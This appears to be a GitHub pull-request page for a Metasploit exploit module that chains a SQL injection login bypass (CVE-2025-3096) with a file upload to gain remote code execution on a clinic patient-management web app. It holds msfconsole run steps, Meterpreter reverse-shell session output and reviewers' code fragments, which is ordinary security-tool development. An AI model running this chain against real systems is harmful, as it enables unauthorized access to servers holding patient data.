Clinic Patient's Management System SQLi (CVE-2025-3096) #20177

msutovsky-r7 · 2025-05-13T13:04:43Z

Vulnerable Application

Clinic Patient's Management System contains SQL injection vulnerability in login section. This module uses the vulnerability (CVE-2025-3096) to gain unauthorized access to the application. As lateral movement, it uses another vulnerability (CVE-2022-2297) to gain remote code execution.

Verification Steps

Vulnerable Application Installation Setup

Install Clinic's Patient Management System on your web server.
- Download the Web Application from here
Start msfconsole and load the exploit module:

   msfconsole
   use exploit/multi/http/clinic_pms_sqli_to_rce

Set the required options:

   set rport <port>
   set rhost <ip>
   set targeturi /pms

Check if the target is vulnerable:

   check

If the target is vulnerable, you will see a message indicating that the target is susceptible to the exploit:

   [+] <IP> The target is vulnerable.

Set up the listener for the exploit:

   set lport <port>
   set lhost <ip>

Launch the exploit:

   exploit

If successful, you will receive a PHP Meterpreter shell.

Options

TARGETURI: (Required) The base path to the Clinic Patient Management System (default: /pms).

Scenarios

msf6 exploit(multi/http/clinic_pms_sqli_to_rce) > exploit
[*] Started reverse TCP handler on 192.168.168.128:4444
[*] Logged using SQL injection..
[*] Malicious file uploaded..
[*] Logged out..
[*] Logged using SQL injection..
[*] Sending stage (40004 bytes) to 192.168.168.146
[*] Meterpreter session 1 opened (192.168.168.128:4444 -> 192.168.168.146:52522) at 2025-05-13 13:33:52 +0200

meterpreter > sysinfo
Computer    : ubuntu
OS          : Linux ubuntu 6.8.0-52-generic #53~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Wed Jan 15 19:18:46 UTC 2 x86_64
Meterpreter : php/linux

jvoisin · 2025-05-14T10:54:14Z

Is this software used/deployed in the real world™?

msutovsky-r7 · 2025-05-14T11:32:45Z

Is this software used/deployed in the real world™?

I don't think so, there's no results on Shodan. But there seems to be some "user" activity at source site.

sjanusz-r7 · 2025-05-15T14:39:00Z

modules/exploits/multi/http/clinic_pms_sqli_to_rce.rb

+          ['CVE', '2025-3096'],
+          ['URL', 'https://www.cve.org/CVERecord?id=CVE-2022-40471'],
+        ],
+        'DisclosureDate' => '2021-10-21',


I think this disclosure date is not quite correct

sjanusz-r7 · 2025-05-15T14:39:44Z

modules/exploits/multi/http/clinic_pms_sqli_to_rce.rb

+
+    register_options([
+      OptString.new('TARGETURI', [true, 'Base path to the Clinic Patient Management System', '/pms']),
+      OptBool.new('DELETE_FILES', [true, 'Delete uploaded files after exploitation', false])


Suggested change

OptBool.new('DELETE_FILES', [true, 'Delete uploaded files after exploitation', false])

OptBool.new('DELETE_FILES', [true, 'Delete uploaded files after exploitation', true])

sjanusz-r7 · 2025-05-15T14:40:35Z

modules/exploits/multi/http/clinic_pms_sqli_to_rce.rb

+    print_status('Checking if target is vulnerable...')
+
+    res = send_request_cgi({
+      'uri' => normalize_uri(target_uri.path + '/'),


I think we can get away without the + here, but I would need to verify this 👍

Suggested change

'uri' => normalize_uri(target_uri.path + '/'),

'uri' => normalize_uri(target_uri.path),

sjanusz-r7 · 2025-05-15T14:41:50Z

modules/exploits/multi/http/clinic_pms_sqli_to_rce.rb

+    return Exploit::CheckCode::Unknown('Unexpected content of body') if res.body&.blank?
+    return Exploit::CheckCode::Safe('Clinic PMS not detected') unless res.body.include?("Clinic's Patient Management System in PHP")
+
+    return Exploit::CheckCode::Vulnerable('Clinic PMS detected')


I believe it would be detected as Vulnerable only after a version check:

Suggested change

return Exploit::CheckCode::Vulnerable('Clinic PMS detected')

return Exploit::CheckCode::Appears('Clinic PMS detected')

sjanusz-r7 · 2025-05-15T14:43:35Z

modules/exploits/multi/http/clinic_pms_sqli_to_rce.rb

+    fail_with Failure::NotVulnerable, 'Application might be patched' unless res.headers&.key?('location')
+
+    fail_with Failure::Unknown, 'Unknown error happened' unless res.headers['location'] == 'dashboard.php'
+    print_status('Logged using SQL injection..')


Could we call to report_vuln to report this service as being vulnerable? 👀 You may need to also call report_service as well.
Unsure if that should go in run/check method or this method though

jheysel-r7

Great module @msutovsky-r7! A couple minor comments.

Testing

msf6 exploit(multi/http/clinic_pms_sqli_to_rce) > run
[*] Started reverse TCP handler on 172.16.199.1:4444
[*] Logged using SQL injection..
[*] Malicious file uploaded..
[*] Logged out..
[*] Logged using SQL injection..
[*] Reporting vulnerability
[*] Sending stage (40004 bytes) to 172.16.199.134
[*] Meterpreter session 3 opened (172.16.199.1:4444 -> 172.16.199.134:36072) at 

meterpreter > getuid
Server username: www-data
meterpreter > sysinfo
Computer    : msfuser-virtual-machine
OS          : Linux msfuser-virtual-machine 6.8.0-59-generic #61~22.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue Apr 15 17:03:15 UTC 2 x86_64
Meterpreter : php/linux
meterpreter >

jheysel-r7 · 2025-05-16T20:20:04Z

modules/exploits/multi/http/clinic_pms_sqli_to_rce.rb

+
+  def login_sqli
+    res = send_request_cgi({
+      'uri' => normalize_uri(target_uri.path + 'index.php'),


Suggested change

'uri' => normalize_uri(target_uri.path + 'index.php'),

'uri' => normalize_uri(target_uri.path, 'index.php'),

jheysel-r7 · 2025-05-16T20:20:26Z

modules/exploits/multi/http/clinic_pms_sqli_to_rce.rb

+    data_post << "--#{boundary}--\r\n"
+
+    res = send_request_cgi({
+      'uri' => normalize_uri('/pms/update_user.php'),


Suggested change

'uri' => normalize_uri('/pms/update_user.php'),

'uri' => normalize_uri(target_uri.path, '/update_user.php'),

jheysel-r7 · 2025-05-16T20:21:17Z

modules/exploits/multi/http/clinic_pms_sqli_to_rce.rb

+    )
+
+    res = send_request_cgi({
+      'uri' => normalize_uri(target_uri.path + '/update_user.php'),


Suggested change

'uri' => normalize_uri(target_uri.path + '/update_user.php'),

'uri' => normalize_uri(target_uri.path, '/update_user.php'),

jheysel-r7 · 2025-05-16T20:21:45Z

modules/exploits/multi/http/clinic_pms_sqli_to_rce.rb

+    fail_with Failure::PayloadFailed, 'Cannot find path to payload' if payload_path.blank?
+
+    send_request_cgi({
+      'uri' => normalize_uri(target_uri.path + '/' + payload_path),


Suggested change

'uri' => normalize_uri(target_uri.path + '/' + payload_path),

'uri' => normalize_uri(target_uri.path, payload_path),

jheysel-r7 · 2025-05-16T20:25:38Z

modules/exploits/multi/http/clinic_pms_sqli_to_rce.rb

+    fail_with Failure::UnexpectedReply, 'Unexpected response code' unless res&.code == 302
+    fail_with Failure::NotVulnerable, 'Application might be patched' unless res.headers&.key?('Location')
+
+    fail_with Failure::Unknown, 'Unknown error happened' unless res.headers['Location'] == 'congratulation.php?goto_page=users.php&message=user update successfully'


Suggested change

fail_with Failure::Unknown, 'Unknown error happened' unless res.headers['Location'] == 'congratulation.php?goto_page=users.php&message=user update successfully'

fail_with Failure::UnexpectedReply, 'Failed to update user when attempting to exploit' unless res.headers['Location'] == 'congratulation.php?goto_page=users.php&message=user update successfully'

jheysel-r7 · 2025-05-16T20:38:14Z

modules/exploits/multi/http/clinic_pms_sqli_to_rce.rb

+  include Msf::Exploit::PhpEXE
+  include Msf::Exploit::FileDropper
+  include Msf::Post::File
+  include Msf::Auxiliary::Report


Suggested change

include Msf::Auxiliary::Report

include Msf::Auxiliary::Report

prepend Msf::Exploit::Remote::AutoCheck

jheysel-r7 · 2025-05-16T20:39:17Z

modules/exploits/multi/http/clinic_pms_sqli_to_rce.rb

+          This module exploits an SQL injection in login portal, which allows to log in as admin. Next, it allows the attacker to upload malicious files through user modification to achieve RCE.
+        },
+        'Author' => [
+          'msutovsky-r7' # CVE-2025-3096, module developer


Could we add to the authors list whoever discovered the CVEs or wrote the original PoCs if possible?

jheysel-r7 · 2025-05-16T20:44:16Z

modules/exploits/multi/http/clinic_pms_sqli_to_rce.rb

+        'Notes' => {
+          'Stability' => [CRASH_SAFE],
+          'Reliability' => [REPEATABLE_SESSION],
+          'SideEffects' => [ARTIFACTS_ON_DISK]


/var/log/apache2/access.log

172.16.199.1 - - [16/May/2025:12:51:58 -0700] "GET /clinic-pms/pms/user_images/1747425118rFrCYGBx.php HTTP/1.1" 200 0 "-" "Mozilla/5.0 (iPad; CPU OS 17_7_2 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.4.1 Mobile/15E148 Safari/604.1"

Suggested change

'SideEffects' => [ARTIFACTS_ON_DISK]

'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]

jheysel-r7 · 2025-05-16T20:48:47Z

modules/exploits/multi/http/clinic_pms_sqli_to_rce.rb

+    fail_with Failure::UnexpectedReply, 'Unexpected response code' unless res&.code == 302
+    fail_with Failure::NotVulnerable, 'Application might be patched' unless res.headers&.key?('Location')
+
+    fail_with Failure::Unknown, 'Unknown error happened' unless res.headers['Location'] == 'index.php'


Suggested change

fail_with Failure::Unknown, 'Unknown error happened' unless res.headers['Location'] == 'index.php'

fail_with Failure::UnexpectedReply, 'The Location header was not equal to \'index.php\' as expected' unless res.headers['Location'] == 'index.php'

jheysel-r7 · 2025-05-16T20:50:42Z

documentation/modules/exploit/multi/http/clinic_pms_sqli_to_rce.md

@@ -0,0 +1,67 @@
+## Vulnerable Application
+Clinic Patient's Management System contains SQL injection vulnerability in login section. This module uses the vulnerability (CVE-2025-3096) to gain unauthorized access to the application. As lateral movement, it uses another vulnerability (CVE-2022-2297) to gain remote code execution.


Suggested change

Clinic Patient's Management System contains SQL injection vulnerability in login section. This module uses the vulnerability (CVE-2025-3096) to gain unauthorized access to the application. As lateral movement, it uses another vulnerability (CVE-2022-2297) to gain remote code execution.

Clinic Patient's Management System contains SQL injection vulnerability in login section. This module uses the vulnerability

(CVE-2025-3096) to gain unauthorized access to the application. As lateral movement, it uses another vulnerability (CVE-2022-2297) to gain remote code execution.

msutovsky-r7 added 2 commits May 13, 2025 13:09

Clinic Pacient Management System SQLi to RCE module

bfa3b63

Adds documentation

939d997

msutovsky-r7 added module docs labels May 13, 2025

msutovsky-r7 changed the title ~~Clinic Patient's Management System RCE (CVE-2025-3096)~~ Clinic Patient's Management System SQLi (CVE-2025-3096) May 14, 2025

sjanusz-r7 reviewed May 15, 2025

View reviewed changes

msutovsky-r7 added 4 commits May 15, 2025 16:48

Addressing comments

41b35fb

Fixing disclosure year

e93b4d4

Add report_vuln

e0383b4

Fixes deleting file

fb24c55

jheysel-r7 self-assigned this May 16, 2025

jheysel-r7 added this to Metasploit Kanban May 16, 2025

github-project-automation bot moved this to Todo in Metasploit Kanban May 16, 2025

jheysel-r7 reviewed May 16, 2025

View reviewed changes

Provide feedback

Saved searches

Use saved searches to filter your results more quickly

Clinic Patient's Management System SQLi (CVE-2025-3096) #20177

Clinic Patient's Management System SQLi (CVE-2025-3096) #20177

msutovsky-r7 commented May 13, 2025

jvoisin commented May 14, 2025

msutovsky-r7 commented May 14, 2025

sjanusz-r7 May 15, 2025

sjanusz-r7 May 15, 2025

sjanusz-r7 May 15, 2025

sjanusz-r7 May 15, 2025

sjanusz-r7 May 15, 2025

jheysel-r7 left a comment

jheysel-r7 May 16, 2025

jheysel-r7 May 16, 2025

jheysel-r7 May 16, 2025

jheysel-r7 May 16, 2025

jheysel-r7 May 16, 2025

jheysel-r7 May 16, 2025

jheysel-r7 May 16, 2025

jheysel-r7 May 16, 2025

jheysel-r7 May 16, 2025

jheysel-r7 May 16, 2025

	OptBool.new('DELETE_FILES', [true, 'Delete uploaded files after exploitation', false])
	OptBool.new('DELETE_FILES', [true, 'Delete uploaded files after exploitation', true])

	'uri' => normalize_uri(target_uri.path + '/'),
	'uri' => normalize_uri(target_uri.path),

	return Exploit::CheckCode::Vulnerable('Clinic PMS detected')
	return Exploit::CheckCode::Appears('Clinic PMS detected')

	'uri' => normalize_uri(target_uri.path + 'index.php'),
	'uri' => normalize_uri(target_uri.path, 'index.php'),

	'uri' => normalize_uri('/pms/update_user.php'),
	'uri' => normalize_uri(target_uri.path, '/update_user.php'),

	fail_with Failure::Unknown, 'Unknown error happened' unless res.headers['Location'] == 'congratulation.php?goto_page=users.php&message=user update successfully'
	fail_with Failure::UnexpectedReply, 'Failed to update user when attempting to exploit' unless res.headers['Location'] == 'congratulation.php?goto_page=users.php&message=user update successfully'

	include Msf::Auxiliary::Report
	include Msf::Auxiliary::Report
	prepend Msf::Exploit::Remote::AutoCheck

	'SideEffects' => [ARTIFACTS_ON_DISK]
	'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS]

	fail_with Failure::Unknown, 'Unknown error happened' unless res.headers['Location'] == 'index.php'
	fail_with Failure::UnexpectedReply, 'The Location header was not equal to \'index.php\' as expected' unless res.headers['Location'] == 'index.php'

		@@ -0,0 +1,67 @@
		## Vulnerable Application
		Clinic Patient's Management System contains SQL injection vulnerability in login section. This module uses the vulnerability (CVE-2025-3096) to gain unauthorized access to the application. As lateral movement, it uses another vulnerability (CVE-2022-2297) to gain remote code execution.

	Clinic Patient's Management System contains SQL injection vulnerability in login section. This module uses the vulnerability (CVE-2025-3096) to gain unauthorized access to the application. As lateral movement, it uses another vulnerability (CVE-2022-2297) to gain remote code execution.
	Clinic Patient's Management System contains SQL injection vulnerability in login section. This module uses the vulnerability
	(CVE-2025-3096) to gain unauthorized access to the application. As lateral movement, it uses another vulnerability (CVE-2022-2297) to gain remote code execution.

Clinic Patient's Management System SQLi (CVE-2025-3096) #20177

Are you sure you want to change the base?

Clinic Patient's Management System SQLi (CVE-2025-3096) #20177

Conversation

msutovsky-r7 commented May 13, 2025

Vulnerable Application

Verification Steps

Vulnerable Application Installation Setup

Options

Scenarios

jvoisin commented May 14, 2025

msutovsky-r7 commented May 14, 2025

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

jheysel-r7 left a comment

Choose a reason for hiding this comment

Testing

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment

Choose a reason for hiding this comment